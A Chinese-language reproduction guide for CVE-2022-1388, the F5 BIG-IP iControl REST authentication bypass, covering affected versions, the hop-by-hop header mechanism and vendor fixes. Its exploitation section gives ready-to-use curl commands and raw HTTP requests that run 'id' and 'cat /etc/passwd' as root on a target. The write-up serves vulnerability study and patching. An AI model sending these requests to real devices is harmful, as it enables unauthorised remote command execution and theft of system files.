CVE-2022-1388复现
字数 1701 2025-08-07 00:35:04
CVE-2022-1388: BIG-IP iControl REST 漏洞分析与复现指南
0x00 漏洞概述
CVE-2022-1388是F5 BIG-IP产品中iControl REST接口的一个严重漏洞,CVSSv3评分为9.8(严重级别)。
影响范围
受影响产品:BIG-IP (所有模块)
受影响版本:
- 17.x:无受影响版本(17.0.0已修复)
- 16.x:16.1.0 - 16.1.2
- 15.x:15.1.0 - 15.1.5
- 14.x:14.1.0 - 14.1.4
- 13.x:13.1.0 - 13.1.4
- 12.x:12.1.0 - 12.1.6(官方无补丁)
- 11.x:11.6.1-11.6.5(官方无补丁)
漏洞影响
该漏洞允许:
- 未授权的攻击者通过管理端口和/或自身IP地址访问BIG-IP系统
- 执行任意系统命令
- 创建或删除文件
- 禁用服务
注意:这是一个控制平面问题,不涉及数据平面暴露。
0x01 漏洞复现
环境准备
-
从F5官网下载受影响版本的虚拟镜像:
- 访问 https://downloads.f5.com/esd/productlines.jsp
- 选择受影响版本内的虚拟机OVA包
-
导入虚拟机:
- 直接双击OVA文件导入
- 或通过虚拟机软件手动导入
-
获取IP地址:
- 使用root/default登录虚拟机
- 执行命令:
ifconfig mgmt
漏洞验证
通过浏览器访问:https://<ip>,查看登录界面
利用方法
方法一:使用curl命令
执行id命令:
curl -i -s -k -X $'POST' \
-H $'Host: <target>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\", \"utilCmdArgs\": \"-c \'id\'\"}\x0d\x0a' \
$'https://<target>:8443/mgmt/tm/util/bash'
读取/etc/passwd文件:
curl -i -s -k -X $'POST' \
-H $'Host: <target>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\", \"utilCmdArgs\": \"-c \'cat /etc/passwd\'\"}\x0d\x0a\x0d\x0a' \
$'https://<target>/mgmt/tm/util/bash'
方法二:直接HTTP请求
请求示例1:
POST /mgmt/tm/util/bash HTTP/1.1
Host: <target>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{
"command": "run",
"utilCmdArgs": "-c 'id'"
}
请求示例2:
POST /mgmt/tm/util/bash HTTP/1.1
Host: <target>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{
"command": "run",
"utilCmdArgs": "-c 'cat /etc/passwd'"
}
注意事项
- 对于14.x-16.x版本,请求头需要设置为:
Host: localhost - 漏洞利用利用了以下两个关键点:
- 使用空凭据
admin:绕过前后端身份验证 - HTTP的hop-by-hop请求头问题
- 使用空凭据
0x02 漏洞原理
HTTP hop-by-hop请求头问题
该漏洞利用了HTTP协议中关于"逐跳"(hop-by-hop)请求头的特性:
-
请求可以定义一组自定义标头,通过将它们添加到
Connection头中实现逐跳处理 -
示例:
Connection: close, X-Foo, X-Bar- 表示要求代理将
X-Foo和X-Bar作为逐跳处理 - 代理应在传递请求前将它们从请求中删除
- 表示要求代理将
-
在漏洞利用中,攻击者通过
Connection: keep-alive, X-F5-Auth-Token头:- 指示代理移除
X-F5-Auth-Token头 - 但后端服务器仍会处理这个头,导致认证绕过
- 指示代理移除
0x03 修复方案
官方建议
-
升级到已修复版本:
- 17.x:升级到17.0.0
- 16.x:升级到16.1.2.2
- 15.x:升级到15.1.5.1
- 14.x:升级到14.1.4.6
- 13.x:升级到13.1.5
-
对于无法升级的版本(12.x和11.x),采取以下缓解措施:
- 通过自身IP地址阻止iControl REST访问
- 通过管理界面阻止iControl REST访问
- 修改BIG-IP httpd配置
详细修复建议参考官方文档:https://support.f5.com/csp/article/K23605346
0x04 参考资源
- 漏洞利用代码参考:https://packetstormsecurity.com/files/167007/F5-BIG-IP-Remote-Code-Execution.html
- HTTP hop-by-hop技术分析:
- https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open
- https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
- 官方漏洞公告:https://support.f5.com/csp/article/K23605346